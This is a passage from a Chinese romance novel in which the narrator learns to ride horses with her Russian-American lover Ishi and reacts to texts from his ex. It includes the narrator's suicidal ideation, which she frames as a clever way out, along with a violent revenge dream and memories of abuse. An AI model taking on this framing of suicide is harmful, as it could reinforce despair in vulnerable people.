我最喜欢你的瞳孔,当然,现在看不见,我有说过我最喜欢你的瞳孔吗?好像没有。那大概以后也不会说。我们那全是漆黑的眼睛,要么是褐色,人和人长得一样,分辨不出来,把这个人的眼珠子挖出来按到另一个人的眼睛里也毫无差别,因为黑色浓的不能再浓,所以很难从中理解到有意义的东西,包括我自己照镜子。但是你的深蓝色不一样,漂亮,虽然你的专属用法使它显得凛冽,但掩盖不住它很漂亮,忧郁,一尘不染。我喜欢你吸。吮双。乳时抬眸的那一瞬间,我在欣赏你的时候你也在欣赏我。 我是阴暗的地下室人格,但没有什么杀伤力,你大可放心,到了悬崖边我自己就跳了,连一粒摇摇欲坠的小石子都不必拜托。 至于谢谢,我肯定不会对你说。看到我头上的紧箍圈了吗,紧箍圈的紧箍咒是强大的、不可违背的宇宙体系,哪怕痴呆症替要换掉我的脑细胞,我也能保持清醒。一旦我为你感到感谢,我这辈子都无法挽回了。 “现在去给我做顿早饭我就让你尝它们三十秒。” 突然敲在头顶的声音让我打了一哆嗦。在天空未亮的早晨目不转睛地盯着一位俄美混血壮汉的胸肌是件无可厚非的行径,更何况他也知道自己的姿色。 我撑起上臂,反问:“你确定要跟我算账吗?” 他眼底暗了暗,扶额揉太阳穴,偷偷用俄语诽谤我(绝对是诽谤)。 伊实翻身下床,把他的灰色法兰绒睡衣抛给我,裤子部分在他那里。上衣足够宽大,贴身也足够舒适,不过我还是喜欢关键时刻救过命的秋衣秋裤。 我四处寻找拖鞋,一路回溯到浴室才如愿以偿,然后去厨房看他在搞什么明堂。烧水壶不停冒热气,他在灶台前守着,一边拨开两颗药片就水喝下,看到这一幕我才想起昨晚没来得及发挥价值的套在哪儿。他真买了吗?产生了这样的疑问。不会是嘴上跑火车来掩盖他脆弱得竟然需要吃药的事情吧?他生了什么病? 我走上前求证,冤枉他了。烧水壶发出尖锐的爆鸣。 伊实关火,从柜子里取出一大包麦片,没有配方全凭缘分地倒入碗中,用勺子搅出两份湿垃圾。 “久等了吧kiddo?来吃吧。”他竟然还说得那样奢侈。 我嚼着干面包心里止不住指点江山,为什么不用这些食材去盖房子,狗窝也行啊。幸亏我早就优胜劣汰掉了哭哭啼啼的基因。 我将干面包撕成小片丢进麦片里软化,再用叉子戳着吃。“布鲁克怎么没消息了?”我问。 伊实冷笑一声:“我才该问呢,你和他关系那么好干嘛?他说如果你今天醒来还愿意和他交好,就回个电话。” 不得不承认,布鲁克把我带进一个陌生的环境却自己走掉的确让我感到生气,尤其被伊实抓包时叫天天不应叫地地不灵差点一命呜呼。但结果没有我想象的糟糕,甚至可以说酥爽。布鲁克至少还惦记着有这么一个风往哪边吹就往哪边倒的小女孩儿便足以令人欣慰了。 “好,你的手机在哪儿?”我说。 “西伯利亚。” “?” 伊实挑了挑眉,“What?它也可以在北冰洋。” “……” 他专横跋扈地耸耸肩:“是的,我替你单方面回绝了。” 夹在两个爱擅自做主的角色之间,稍微乐观点想,我什么责任都不用担也挺好,话筒杵到嘴边能舔一口解释本人只是个冰淇淋外行企业家,你们要问什么我都有权保持沉默。 吃完早饭我自然而然地要去换衣服,走两步突然意识到我压根连日程安排都没有,这种敬业精神也完全可以拿走盖狗窝,没必要。 “伊实!”我猛地转身,睡衣像裙摆一般飘起又落下,“你真的没工作吗?今天礼拜几?” “礼拜一。”他说,“你的语气听上去像是没有工作天都要塌下来。” “我只是问问。” “只是问问天都要塌下来。” 我坐进沙发,双手抱膝,窗外堪堪露出一点阳光。伊实提来一箱工具,对着一个储物架骂不知好歹,它发出咿咿呀呀的痛叫,好像在说:我从未想过终身站岗,饶了我吧,饶了我吧。 储物架被修好,我插嘴又问:“布鲁克曾经给你找的差事是什么?” 伊实站起身揉了揉肩膀,说:“什么都有。” “比如?” 他走过来,手里还拿着一把螺丝刀,“Why?对我这么好奇?” 我提醒他做事要有始有终,别带着一把螺丝刀在这么漂亮的房间里乱逛。他点点头,竟然给出一条投机取巧歪打正着的论据:“Itsallyoursmell.” “……”话又说回来,我承认道:“我对你很好奇,所以,请你大发善心透露一两件。” 伊实轻笑,抬起胳膊搭在储物架上,语气吊儿郎当:“你骑过马吗?” “马?” “对,马。” “我一般开车。” “那就是没有,回答没有。” “没有。” “Well,”伊实甩甩手,“我教人骑马,这就是我的工作。”一束鄙夷的目光悄无声息,他补充道:“有时候也是高尔夫。” 也许是我敷衍的“哇哦”刺痛了他的耳朵,他挺直腰板神色认真:“干嘛?不信?” “不,我信,但是想象力不够丰富。” 他用螺丝刀头指着我,命令道:“换上大衣,十分钟之后出发。塞点棉花在屁股里,别说我没提醒你。” “……” 今天是个好天气,好到让人想起太阳一直都不是独居恒星,它偶尔还是会升起来看看观景鱼,看看蚂蚁搬家,看看动物骑动物什么的。 我第一次穿马术服,仿佛有人拿绳子沿着我的轮廓严丝合缝地围出一块禁地,我不得不绷得笔直。我跟在伊实和马场管理员的后面,走过由马臭味熏染的草道,左右两边色彩朴素但格外令人两眼昏花的马儿不时发出引擎声——形容它们的叫声不是件容易事,除了发出雄赳赳气昂昂的马叫声以外,它们两只鼻孔出气和嚼空气的声音更加令人费解,马蹄铁的声响倒是较为悦耳,将军携长缨前来赴战的即视感。 伊实挑了匹棕马,毛发旺盛且根部泛黄,刘海看起来很碍事,四条腿像穿了一层白色短袜,在其他英俊马的照耀下,就算它尽其所能地靠近潮流也还是显得平平无奇。在 此辩解一下,我并非在以貌取马,只是它的刘海着实给了我强烈的视觉冲击。 伊实叫它沃斯特,他们是好几年的老朋友了,他亲切地爱抚它的脖子,喂它吃干草,替它梳理毛发,装上马鞍和缰绳,声情并茂地引领它去场地。我心里不免犯怵,该和它搞好关系的人应该是我才对,但伊实到现在都没有让我们面对面相互自我介绍的意思。 伊实单手一撑骑上马,一边兜圈子一边冲圈外的我叫嚷:“两只眼睛盯紧了,觉得精彩就扔几张纸币在地上,没错,老子以前就是这么热热闹闹地挣钱!” 他轻车熟路地拉绳俯身,和沃斯特配合得无比默契,几乎融为一体,跨越一个个障碍栏。我一时间沉迷于他的美色以至于对沃斯特也产生了爱屋及乌的滤镜,刘海迎风招展别有一番风味。 我懒洋洋地鼓掌,又嫌仅仅是鼓掌太过于寒酸,双手摆在嘴边大声喊道:“一百万美元成不成交——” 沃斯特有节奏地踩着小步子走到我面前,伊实用一张高兴脸俯视着我,说:“亲爱的,它起码值两百万,入股不亏。” “我指的是你,勇猛先生。” 他一顿,眯了眯眼睛:“我大费周章带你来这是为了让你跟我调情,uh-huh?” 难道不是吗?恭维得不够诚恳? 伊实似乎读出了我的肌肉表情,跨开一条腿下马,叩了叩我头上的安全头盔,说:“到你了。” 我坚决地摇头,一缓再缓,争取心理准备的时间:“我从没……” “嘘——你准备好了。”他打断了我的说辞,随后突然伺候了一下我的臀。部,让我本就僵直的身体瞬间炸毛。说真的,沃斯特才是该被抽屁。股的那个,但它却没有。而我应该被按住肩膀听些加油打气的鼓励,却被拍了屁。股。 不如让沃斯特骑我好了,我高中运动会女子跳高项目拿过铜牌,会背越式,还知道怎么安慰狂热的精英们心急吃不了热豆腐不要赶鸭子上架。 “如果我受伤了,尤其是那种不致死但足以让人不痛快的伤,你一定要负责任。”我警告道。 伊实笑得很有侵略性,举手向我保证。 “Countonme.” 第20章 第20章那天暴风雪以后,时常有…… 我曾以为两米高的视角是货真价实的比秋天寒冷,亲临其境之后感觉到的竟是一种开阔和胆大妄为。差点天旋地转,我猛然意识到胯。下之物不似摩托铁甲那样坚硬冷血,而是真真切切的有温度、有感触。 这种感觉很奇妙,我和地面的距离很遥远,无法通过伸长脚尖抵达,方向权不在我手上,如此一来人类的双脚彻底派不上用场,由什么代替呢?竟然由一个拥有四条修长有劲的马腿,外加温暖厚实的鬃毛,呼吸频率整齐的另一个生物代替。 我无意冒犯,但是,沃斯特,我没有勇气说和我的双腿比起来,你与我更有默契。 “然后呢?然后我该怎么做!”我牵着缰绳不知所措。 伊实招呼了一下我的大腿肌肉群,说:“放松,别那么紧绷。” “哦说得轻巧,你又没骑过恐龙。” 伊实指挥沃斯特起步,我顿时悬起一颗心,陷入下半。身无人照料的窘迫。我顺着缰绳将视线移过去,发现那头连着马的口腔,故而更不敢用力拉紧,在我的眼里,我和它早已人马合一,共用一条命了。 “抓住平衡了吗?就当是骑自行车,乖孩子。”伊实走在我们身侧,是我的编外方向盘。 我逐渐习惯马的步频,能体会到我在信赖它的同时也在受它信赖。我们是好朋友了沃斯特! “OK……OK,I‘mgood.Igotit.”我安抚道。 伊实夸了我几句,随后拍了拍马屁股,沃斯特立即快步走起来,我好不容易找到的平衡毁于一旦。更可怕的是,伊实离我越来越远,仅靠一根牵引绳和轻飘飘的口头指导与我联系。 “移动你的胯,接受它的节奏,别怕,它不会伤害你,我和它打过招呼。”伊实隔空喊话,声音兴致盎然,“认真起来穆里斯,你能搞定!” “脚放松,脸也放松,注意力放在起伏上,想象你是泰坦尼克号的幸存者,坐在一块木板上遭遇风浪,你得活下来不是吗? “对极了,就是这样,你做的很好!” 我长呼一口气,抬眼寻找教练的位置,他正悠哉悠哉地遛狗——我和沃斯特是狗。伊实笑得十分混蛋,但他夸我在马术上有天赋,暂且理解为他笑得如沐春风。 感谢老天爷为我关上门打开窗,大脑出现了病变但小脑的才能并未受到影响,我绕半个场地骑了三周,基本掌握了要领。虽做不到像伊实那样驰骋疆场,但已经能够很好地适应四条马腿,没有额外的排斥反应。 “它需要休息。”我说,慢慢缩小沃斯特绕圈的范围,向伊实所在的中心靠拢。 “它体能好得很,是你需要休息。”伊实戳穿我。 “是的,我需要休息,怎么停下来呢?”我仍旧不敢用力扯缰绳。 伊实替我扯停,看出了我的手软,告诉我不扯也是一种虐待。“它不懂你,也没有办法和你沟通,你什么都不做,它什么都不能做,到最后你只有一种下马的方式,那就是摔死。” 我心里一激灵,心想那可不爽快,如此狂躁的死法会让我咽气前最后一眼看到的是一片马屁股。 “我明白了,现在的问题是,我怎么下去?”我问。 伊实扭了扭脖子:“试试它跑起来的感觉怎么样?” “摔死我还用得着这么大费周章吗?” “继续教唆,我保证如你所愿。”伊实让我抬起屁。股,然后换了一个更大的马鞍垫子,“趴好,抱住它的脖子。” 我照做,脸蛋几乎贴上沃斯特的鬃毛,它的头发比我想象的蓬松。伊实踩着马镫一举骑上来,我和沃斯特一起晃动,身后多了一堵墙,我可以大放厥词地称其为靠山。 我直起身子,后背紧紧贴在他的胸口,说:“我知道你要做什么,你知道我要做什么吗?” “What?”伊实脱口而出,“踢我一脚?” “沃斯特踢过你?” “它没有,你不一定。” 我撇撇嘴:“你猜对了,所以多多照顾一下我的心情。” 伊实发出两声邪恶的哼笑,大喊道:“你会爽到爆!”随后沃斯特便像打了鸡血一样狂奔起来,它找到了真正的主人,而我找到了马场真正的风。 我曾坐在过山车里面不改色地兜风,也曾在台风来临时趴在路口捡试卷,远远不及此时骑着马,绕一个普通操场那样大的马场狂奔,这样亲切地和风交流。 我的眼睛借的别人的眼睛,我的手臂借的别人的手臂,我快要不是我了,而是惊涛骇浪中被升起的船帆,波涛顺着脊柱往上爬,灌进我的喉咙里。 伊实说对了!爽到爆了! 那些在我安全区以外的事物,嘶哑着喉咙说要杀死我的东西,竟是如此轻而易举! “伊实!伊实!我好厉害!”我兴奋地大叫。 “是吗——可别上瘾!” 伊实笑声响亮,抽得更凶,我有点hold不住,呼吸急促,但不得不承认:“已经上瘾了!” 胸口萦绕着一股若有似无的酥麻,渗到胃部,扑朔迷离,痒得令人止不住发笑。“像有一千只蝴蝶在胃里飞”,大概就是这种感觉。 我不断受失重感的洗礼,直到我双脚落地,手拿干草给沃斯特喂食,摸它的鬃毛,我依然没能从欢快的余温中回过神来,这简直是一场毫无悬念的大规模文化入侵。 “伊实,”我有些尴尬地问:“这里痛是正常的吗?”手指颤颤巍巍地指了指大腿内侧。 “正常,初学者通常不适应那样长时间的颠簸。但是… …“他故意顿了顿,“你应该不能怪它吧?” “……你我都忘记了。” “不,我记得,不然就带你去打高尔夫了。” “……” 沃斯特饱餐一顿后被管理员牵走,它要去和另一位初学者打交道了,我们的缘分随着它歪斜的马蹄声渐行渐远。我纯属以五十步笑百步,我的脚步声又好听到哪里去呢。 返程的路上,我对伊实说:“你的工作真滋润。” 伊实单手握方向盘,另一只搭在车窗上,难得天气清爽动人,他巧妙地倚仗了这股波光粼粼的海风。 “偶尔碰见一些不开窍的学员,我也会故意让他们踩到马屎。”他轻描淡写地说。 我乐了,但还是呛道:“别那样做。” “行了,你呢?你之前做什么?”伊实问。 我想了想词汇,说:“Teacher,translator,copywriter,salesperson,babysitter,mytwolittlebrothers‘smother,andsoon.” 就这些甚至还不够全面,为了生计我做过许多工作,什么我都会去做的,只要符合某种期待,什么我都能做。从我在社会和家庭的原始地位出发,只有顺从和投机取巧才能让我少吃点苦头。慢慢地,我总结出规律,他们不见得多么需要精英,况且对精英的定义根本是霸王条款,你可以在高级会议的记录纸上涂鸦,但不能在作业本上圈关键词,求生体系被某些人搞得让人站不住脚,我就是个痉挛的好例子,从急救担架上摔下来悄悄爬走。 “让我想想……”伊实的手指头轻轻敲点方向盘,追问:“大学呢?” “经济管理。”我回答。 伊实一副果然如此的表情:“大学那种地方一生去一次就够了。” “你说的不是一年去一次吧?”我鄙夷地反问。 “小瞧我了,我一个月去一次。” “多少年前的事情了?你还记得?”我瞧他老成硬朗看不出一点school风韵的脸,想他上大学应该是非常久远的事了,既然他上过大学的话。 “当然记得,高中我也记得,我的棒球进过校长办公室。”伊实不以为耻反以为荣,擅长压碎所谓的脏事,然而下一句话锋一转:“不过我有一颗牙也是在那碎的。” 我惊讶:“还有你打不过的人?” 伊实难得懊恼,咂了咂嘴:“十八岁以前我他妈的没想过还能还手。” “你爸?” “是啊,他实则弱不经风。” 我突然感到一阵委屈,撇过脸用中文小声嘟囔:“谁不想还手……” “你说什么?”伊实问。 我努起嘴,闭口不言。 “嘿,看窗外。” 我随着他的话语转过头。天空的云向两边散开,又于远处相遇,而奄奄一息的太阳就挂在它们相遇的位置,使得无论是水面还是雪地,还是人们的侧脸,都成了一面撒着光泽的扇子。 下午一点钟太阳就要落山了吗?早早地到别处去,是在忌惮什么吗? 当夕阳的温度透过我的睫毛到达我的眼球,到达我来这以后总是木讷的鼻头,到达我干裂的嘴唇,我才深深地感到抱歉。 即便是即将退场的太阳,它也是所有云朵视为畏途的东西。 “好美呢。”我感叹道。 “是的,那天暴风雪以后,时常有好天气。” 20-30 第21章 第21章这就不需要你操心了Li…… 草莓在口腔里融化,汁水刺激牙根让我哭笑不得,它没成熟到令所有消费者满意的程度,但已经学会了在外表上做足伪装。 我趴在沙发上看电视,即便我完全听不懂里面的人物在说些什么。伊实在外头清雪,嘱咐我在他进门前做好晚饭,再从橱柜里随机挑一款酒,哪瓶都行,唯一的警告是千万别恩将仇报,将不同酒胡乱兑在一起,他在酒的品味上很挑剔。 土豆牛肉炖在锅里,还有一荤一素已经上桌,我的时间很充裕,这才有了和草莓你侬我侬的余地。 在这呆的越久,我越觉得自己离公园中央的喷水雕像更近了一步,看似永远做着同一份工作,其实无比接近自由职业者的真谛——我是说,把尿撒在过路人的头顶。 当然,那可不是明目张胆就能被许可的事。 伊实回来了,在门口抖了抖鞋上的雪,听见电视的声音,张口就是嘲笑:“找不到儿童频道了吗?” “我只想有人给我说说话。”我解释道。 他一层一层脱下防寒衣物,用掌心搓了搓鼻尖和耳朵,迅速回暖。我早就注意到了,他的比热容似乎比常人高出一筹,前有徒手端热锅,后有雪天穿短袖出门丢垃圾,从冷水淋浴房里出来体温也还是滚烫的。一旦遇见真正的天赋,我连天注定的基因学都要恨之入骨。 吃过晚饭,我们谁也没去洗脏碟子,它们有自己的前途,比如等伊实喝完酒,放下玻璃杯,再顺便把它们给清理干净。他很喜欢干诸如“顺便”的事,有沙发不坐,坐在地毯上,扯下毛毯的同时顺便握住我的小腿把我从沙发上拽下去。 “你有时候很喜欢显摆自己的体型。”我抱膝窝在他的怀里,瓮声翁气地说,听起来未免有点得了便宜还卖乖。 伊实的双臂如铁坚硬,出于好奇我想用拳头邦邦敲上两下,但出于多一事不如少一事我只是瞥了一眼。 “这就不需要你操心了LittleKitten。”他轻挑地回应我。 电视机依旧停留在一个频道,负责在我们都不说话的时候活络气氛。伊实心安理得地把我当成了酒桌子,威士忌杯搁在我的肩头,往里头加樱桃,用我的耳朵。 我身体向前倾,无论是酒杯还是他的吻都没有着落。茶几上的小说被我拿了过来,三番五次地,我又问道:“这到底是什么书?” “一本旧书。”他的回答还是那么模棱两可。 “你该庆幸我不会俄语。” 他扬起笑:“你连英语都不怎么样。” “不对,你昨天还说我英语很好。” “这就是为什么昨天要用过去式的原因。” “……”我把书的封面贴到他脸上,威胁道:“告不告诉我?” 他呷了口酒,貌似在做巨大的心理准备,慢悠悠地从我手中抽出书,慢悠悠地翻。 “一本很无聊的旧书,被我从祖母的老家里带出来,先是在阁楼躺了几年,后来书皮被Timmy吃进肚子里。”他用手指着单词将标题念给我听,随后再翻译成英文,“《CrimeandPunishment》,听说过吗?写这本书的人足够有名,虽然我不理解为什么,但事实上他的确很有名,有着一堆读不懂他的书却乐此不疲收藏他的书的读者。” 有什么东西在我脑海里一闪而过,我冒昧地说:“那不就是你吗?” 他眼角一皱,“我这么说了吗?” “差一点,但你的自尊心及时阻止了。”我揶揄地看着他。 他用力强吻下来,好一会儿才松口,温热的气息喷在我的脸上,“下次我会早点阻止你。” 我止不住笑意,转过头去藏掖。摊开书页里最新的折痕,它真的很旧了,纸张粗糙得像沙砾。 “你看到哪儿了?拉斯科尔尼科夫杀人了没有?他上街了多少次?”我说。 伊实意外:“你读过?” “和你一样。”我说得恬不知耻,所以我才觉得那样有趣,天涯海角的两个人都败在陀思妥耶夫斯基的脚下。 “还没,这家伙一直在和空气周旋。”他装模作样地打了呵气。 “嘿,杀人总要做心理准备的!”我说。 “可是杀人的结果又不会变,小说都已经写完了,出版商也给了他几十万字的稿费。” 知晓他的阅读进度比我还慢,我于是 提议道:“不如我们看电影吧,比看书来的快,还少去了心理准备。” 伊实恍然大悟,显然没考虑过这条途径。他在电视里搜索,边对我说:“只有俄语版,没有字幕,看来有人不受欢迎。” 我说:“那你翻译给我听。” “我连西语作业都不写,你指望我对这份工作能有多少热情?”他虽然嘴上这么说,但还是点开了电影。 电影和书一样老旧,像是也在阁楼里吃了十年灰那样沧桑。的确有十多年了,经典咏流传,被一时兴起的世人翻出来咀嚼,在一栋清寂的木屋里缓缓漂流。 只有在好笑的部分伊实才翻译给我听,所谓好笑的部分,指的是被他抓住了槽点,并且有助于他急不可耐地迫害作品风评的画面。于此我十分矛盾地一半赞同一半否认,苦难不止一种,人格也不止一种,结局取决于人格而非苦难。如果电影是我,观影者是拉斯科尔尼科夫,最后得到的结果会不一样。 “我也想过杀人。”我突兀地说,“最后发现自己是最好执行的那一个。” “错了,”伊实说,“人的生命根本带不走那么多东西,谁死了都没辙。” “如果说成逃避呢?不闻不问总行了吧?”我抱住他的胳膊,头枕在他的肩膀上,像倚仗一颗千年老树,“比起杀那么多人,自己死了才是真的一了百了,更不用动脑筋。” “挺好的,从此人类就灭绝了。”伊实锐评道。 “你不觉得吗?不觉得我很聪明吗?”我不依不挠地追问,也是第一次就死亡这件事来说,我想得到某人的认可。 伊实看了看我,又抬起头看屏幕,说:“聪明,如果你能数出来有多少人受此牵连的话,就更聪明了。” “受此牵连?谁会受此牵连?我的存在很重要吗?”我发出三连问。 电影尚未过半,伊实推搡了我一下,说:“还看不看了?” 我沉默,但这些问题一直萦绕在心中,以至于我更看不进电影,画面在眼前模糊,一帧一帧机械地播放。 后来我就这样在他怀里睡着了,噩梦连连,梦到自己杀了人,十分坦荡。 杀掉了用皮带抽我的父亲,他的老婆和两个儿子受此牵连,整日整日趴在坟头哭泣,他们找不到凶手,也就找不到我。 杀掉了离我远去重新组建幸福家庭的母亲,她的老公和儿子受此牵连,从此郁郁寡欢,落入泥潭。 杀掉了用职权克扣我的总监,公司的所有人受此牵连,忙前忙后推举新的总监,在我杀掉第三任总监后再也没有人愿意坐上这个位置。 最后,杀掉了我自己。 仍旧没有得到答案,到底谁会受此牵连。 …… 枕头下冒出嗡嗡的振动,刺激我的睡眠细胞,我闭着眼摸索,以为是伊实在手机上定的闹铃,一想他不可能定闹铃,于是搓了搓眼眶查看。 一串没有署名的号码发来十几条消息。 「我知道你在哪儿」 「有件事我必须告诉你」 「明天下午我们就能见面了,你有时间逃走,但我一定会再找到你,所以我劝你不如直接来机场接我」 「我们之间不该这样,伊实,我仍爱你,你必须给我一次机会」 「我戴着你送我的翡翠项链来,看见它你就什么都想起来了」 「我很想你,伊实,别再躲着我」 「我不会再和你吵架了,我们和好吧,事情过去了这么久,我放下了,你还有什么放不下的呢?」 「我爱你,你必须知道,我爱你,回来吧,please」 “……”我一下子清醒过来,久违地生出给人当情妇的难堪。 身旁的男人正在熟睡,眉眼松弛,嘴角平稳,胸膛有规律的起伏,沉重的右手搭在我的腰间,像在领土上插起的旗帜。他成了一块蜡,燃烧后流下的油全堆在了脚底心。而我借他的火煮开了心里的干冰,冒出来的气体竟然使我无法呼吸。 我重新闭上眼睛,当然,用什么方法都无法睡上一个回笼觉了,只能无限靠近,感受那股奇迹般能与我共振的心跳声,是那样令人心安,令人不知餍足。 “可惜”的情绪逐渐在心中疏淡,我悄悄发誓绝不参与这场纷争,绝不成为任何人的选项,因为我没有底气。唯一的勇气是我想好了一了百了,然后毫无后顾之忧地趴在陨石坑里,让辐射侵蚀皮肤,告诉他们我钟爱这份温暖。 怦怦,怦怦…… 两颗心脏的跳动声震耳欲聋。 我侧过身子面向他,弄出了一丝动静,伊实有所反应,半梦半醒似的抬起胳膊,卷起我的肩膀,将我塞进他的怀里,更贴切地说,塞进他的肋骨里。他抚摸我后面的头发,向下捋到后背。 我听到一句沙哑幽暗的呢喃,可我不懂俄语。 “穆里斯,穆里斯,别跑。” 第22章 第22章煽风点火的是你,骂人的…… “你读过短信了,是吗?” 在不知道第几回发现我心不在焉,并且频频望着玄关出神的时候,伊实终于斩钉截铁地确认了心中猜想。 他固执地将我抱在怀里,像飞蛾迷恋烈火一样固执,使我除了沙发后面的那堵墙,再也看不了其他景色,包括他的脸。 “你在想什么?跟我说说?”他问。 我的脖子完美地卡在他的肩头,沉吟了一会儿,说:“在想她什么时候来。” 毕竟短信里只提到下午,没说清楚几点,如此还希望被接机,她的资本想必相当雄厚。 “来了又能怎样?”伊实从我的两只胳膊下穿出手,在我背后打开笔记本电脑。 “你们什么时候分手的?”我问。 “大概两年前。” “因为什么?” “你不是知道吗?” “早在你们分手前,你就来挪威了不是吗?” 伊实摸了摸我的后脑勺,“有够机灵。” 简单的时间差我掰掰手指还是能算出来。 “布鲁克是挪威人,我想跟着他来这,克洛伊不同意,所以分居了一段时间。” 我轻笑:“怎么不说是你移情别恋了布鲁克?” “U-hn!”他发出错误答案的音效,“否则我该向你打听打听获取中国绿卡的方法。” 我显然还没完全掌握英语逻辑的精髓。 “在意她不如在意在意我,”伊实偏头亲了我一下,“什么时候和我如胶似漆地待上一整天。” 趁他看不见表情,我狠狠地撇嘴,“难道我没有吗?” “我说的是——”伊实往后靠了靠,面对我,从上亲到下,“你的眼睛,你的鼻子,你的嘴巴,它们都不在我身上。” 我愣怔于此,陷进他的亲吻和焦渴的凝视里,像在万头攒动的街头受天意指使的毫无意义的一回头,看到的就是这般凝视。但我没有挪动我的脚步,因为人多的地方,幻象也多。 如果,不是我呢? 我猛地推开伊实,站起身,头晕目眩,步伐凌乱地跑向卧室。他在我身后大喊,我听不清,只愤怒地回道:“脑子里只有浦西的家伙!” “嘿!我亲的是你的脸!” “离我远点!” “在逃跑的人是你!” ! 关门声好似一击电闪雷鸣,阻绝了这场争吵。我滚进被窝里,粗粗地呼吸,心脏激烈得呼之欲出,两辆高速行驶的跑车正对相撞,交换零件,散架在公路,每个踩上去的行人都有一双鲜血淋漓的脚,都血肉模糊。 我立刻就后悔了,为何大动干戈地说一番气话,偏偏牛头不对马嘴,和愚蠢的掉队企鹅一样朝断裂的冰川乱叫,不会飞不会跳,最后这副蠢模样被摄影机记录下来在全球人类面前反复播放。 我蜷缩成一团,压抑那颗鼓动身体起跳的心脏。门开了,因为我没上锁,过了一会门又关了,因为他也没 上锁。 屋内安静得和深绿色的泥潭密处一样,我以为他走了,用尽全力才忍住眼泪和委屈,扒开被子一角,发现他就站在床边。 “到处乱窜可不是什么好习惯。”伊实伸进一只手,我无路可退,被轻松钳制。他横着眉,有股不上不下的怨气,声音冷冷地讥诮:“听着,你怎么认为都行,但别把刀刃对着我,离得远远的更不可能。我是个有责任心的饲养员,带一点变态也情有可原。就这么说好了,我对你的浦西一见钟情,看一眼就爱上了,还有你阴晴不定的牙齿和倔犟的脸,就这么说!” “……”我紧紧闭着嘴巴。 在我无声的对抗下,他颓然败下阵来,闭上眼,睁开时眉头已经散开,“但你要知道,也许你已经知道,一开始我可没打这主意,你做的那些事更不算优美,营养不良和咬了人不松口,都不是锦上添花的地方,但我依旧喜欢。” “……” “如果你执意闹脾气,”我听见他叹了口气,然后松开抓着我的手,“给你买支雪糕如何?” “……”我活动活动手腕,单纯不想讲话,尤其对一个往清汤寡水里撒辣椒粉的混球。我的脑子此刻一团糟,仅仅是冰山一角的降温不足以平息,可有总比没有好。 于是我带着极小声的咕哝从伊实身边走过,“现在就吃。”- 在欢愉最鼎盛的时期我也从未把什么东西归类于“爱”,它在我这儿一直是个医学问题,听闻一句话,是药三分毒,“爱”也一样。倘若将药推举为救命之道,这和爱上令自己痛苦的病根有什么两样?那是比恋痛更加耻辱的行为。 “爱”是出生就长满皱纹的婴儿,我厌恶它,怜悯它,想掐死它,想抱起它,然而新鲜的老肉没有一寸可以下手,它发出啼哭接着手舞足蹈,着实可怕,我一辈子也无法理解。 无法理解,但可以言说和比较。 我爱被风吹得叮当作响的铃铛,小猫比我更爱。我爱掉在地上化成一滩糖水的冰淇淋,小狗比我更爱。我爱富马酸喹硫平,脖子上套着粗粗红绳的敢死队比我更爱。我爱父母,弟弟们比我更爱。我爱小C,有的是人比我更爱。 往水井里丢多大的石头就迸涌多大的水花,总有比我更大的石头。 物尽其用才是明智之举,比如用我这块石头在水井旁边刻八个格子,再上去跳一跳。 我发出三声突兀的咯咯笑,电视里的人和旁边的伊实竟然同时发出疑问:“什么?” “哪段情节好笑吗?” 我摇头,指了指自己:“我好笑。” 伊实古怪地瞥了我一眼,把酒递到我面前——他每晚都要来上一杯,至少一杯——摇了摇里头的冰块,说:“你没在我看不见的地方偷喝吧?” 我骨碌碌翻个身,爬上他的胸口,舔了舔他的嘴唇,嬉皮笑脸地吧唧嘴:“要喝也是光明正大地喝。” 伊实神色一黯,侧过脸喝酒,悻悻嘟囔:“煽风点火的是你,骂人的也是你。” “说慢点,我没听清。”我凑近听。 他抹开我的腰肢,趁我不备掐了一把,我弹射坐起来,当机立断就要还手。不仅掐他肚子上的肉,我还掐胳膊拜拜肉,掐胸口,惹得某人一阵脏话连篇。伊实一只手挡不过来,自然中了我几发子弹。我得逞地大笑,直至酒杯掉落在地面,冰块四处散落,反被欺身而上,才意识到闹过了头。 “继续啊,怎么不继续了,既然不听我说停下,那就别停啊。”狡猾的伊实凭借生物学优势夺走了我的一大片视野。 在一团威士忌之下我能有什么奇思妙想,于是温和地摸摸他的脸,说:“You‘resocute.” 他冷笑:“No,I‘mDick,withonlyPussyinmymind.” “……” 所幸他没有继续欺压这个任性妄为、遇到危险就砍断尾巴逃跑的壁虎,而是很有默契地不再谈论几个小时之前的插曲。 伊实拿来毛巾收拾,我默默参与,心想他看似邋里邋遢,实则张弛有度,多干净一点费时费力,多脏一点费神费心,即使我出现之后屋内的空气不再出现烟味,也并非所有家具见到我都会立正稍息。 在我们中国,其中一条待客之道便是要有个干净的招待座,沙发敞亮人敞亮,地板干净脸干净。所以我自告奋勇,提来水桶和拖把,将客厅的地板拖了个遍,歪七倒八的杂物竖起来,乱飞的衣服丢进卧室,总算收拾出审讯室般好叫人推心置腹的场面。 伊实静静看我做完这一切,随后铿锵有力地鼓起掌:“虽然我不知道为什么,但觉得应该帮你庆祝庆祝。” 我双手叉腰,心满意足地吐出一口气,说:“走吧,该洗洗睡了。”- 第二天的午觉我一拖再拖,像熬夜等待愚人节的到来只为讲一个不好笑的笑话。没有人摁门铃,寂静的门框不停预示着只有我去睡了它才会开。伊实上午出了门,但很快就回来了。午饭后他在门前抽烟,我还给他送了一杯咖啡。拖到最后无形的精疲力尽几乎侵占了我的全部,决心不再等,及时止损。 这天的午觉比往常任何一次闭目养神都更像例行公事,以至于思绪飘得更为另辟蹊径。 我想起高三的成人礼(即便那时我才17岁,还是要跟着全年级的人一起成人),学校请家长进校为孩子送祝福,拍集体合影。别的同学的家长有送花的,有送鞋的,有送手机的,我的家长,哦等等,来的甚至不是我的家长,是我爸的好友,一个我从小到大叫“严叔”的男人。 他在备用教室递给我一盒寿司,“你阿姨做的,你从小就爱吃”他说。“谢谢。”我说,可我不爱吃,是弟弟嚷着要吃,我也只能吃这个。他手里还有一个黑袋子,看样子需要一些铺垫才能递过来。 他说:“没想到你这么快就长这么大了,都成人了!我们商量给你什么礼物好,什么礼物符合主题,绞尽脑汁,最后选了这个,你看看!” 他终于把袋子递过来。 我打开一个口,往里面看,黑色是世界上最能吸光的颜色,却吸不住里面那条粉色蕾丝内衣的颜色。 啊。 符合主题是这个意思啊。挺符合主题的。 后来我在卫生间闹了肚子,上吐下泻,成功躲过了集体合影。毕业纪念照里,只有我和校长是被P进去的。 怎么想到了这事儿呢?难道代表我即将涅槃,灵肉分离了吗?可是不得不说,通过回想以前的痛苦,能很好地掩盖眼前的痛苦。 我按了按太阳穴,竖起耳朵听,竟然赶上了门外的开场白。 “伊实,好久不见。” 第23章 